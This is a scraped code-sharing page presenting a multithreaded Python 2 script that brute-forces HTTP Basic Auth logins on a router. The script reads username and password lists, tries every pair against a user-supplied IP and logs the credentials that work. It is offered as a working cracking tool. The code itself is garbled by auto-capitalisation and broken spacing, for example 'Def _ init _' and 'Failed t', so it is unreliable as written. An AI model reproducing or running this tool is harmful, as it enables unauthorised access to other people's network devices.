Python implements multi-thread brute-force cracking and vro login function code sharing, and python Multithreading

Source: Internet
Author: User

Python implements multi-thread brute-force cracking and vro login function code sharing, and python Multithreading

At runtime, upload the user.txt passwd.txt file in the directory. Otherwise, an error is reported. No exception handling is added to the program. Code is frustrating .....
Copy codeThe Code is as follows:
# Coding: UTF-8-
Import base64
Import urllib2
Import Queue
Import threading, re, sys
Queue = Queue. Queue ()
Class Rout_thread (threading. Thread ):

Def _ init _ (self, queue, passwd ):

Threading. Thread. _ init _ (self)
Self. queue = queue
Self. passwordlist = passwd
Def run (self ):
Self. user = queue. get ()
For self. passwd in self. passwordlist:
Request = urllib2.Request ("http: //" + target)
Psw_base64 = "Basic" + base64.b64encode (self. user + ":" + self. passwd)
Request. add_header ('authorization', psw_base64)
Try:

Response = urllib2.urlopen (request)
Print "[+] Correct! Username: % s, password: % s "% (self. user, self. passwd)
Fp3 = open('log.txt ', 'A ')
Fp3.write (self. user + '|' + self. passwd + '\ r \ n ')
Fp3.close ()
Failed t urllib2.HTTPError:
Print "[-] password: % s Error! "% (Self. passwd)

 

If _ name _ = '_ main __':
Print '''
######################################## ###############
##
# Routing brute force tool #
##
# By: well #
##
######################################## ###############
'''
Passwordlist = []
Line = 20
Threads = []
Global target
Target = raw_input ("input ip :")
Fp = open ("user.txt ")
Fp2 = open ("passwd.txt ")
For user in fp. readlines ():
Queue. put (user. split ('\ n') [0])
For passwd in fp2.readlines ():
Passwordlist. append (passwd. split ('\ n') [0])
# Print passwordlist

Fp. close ()
Fp2.close ()
For I in range (line ):
A = Rout_thread (queue, passwordlist)
A. start ()
Threads. append ()
For j in threads:
J. join ()

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.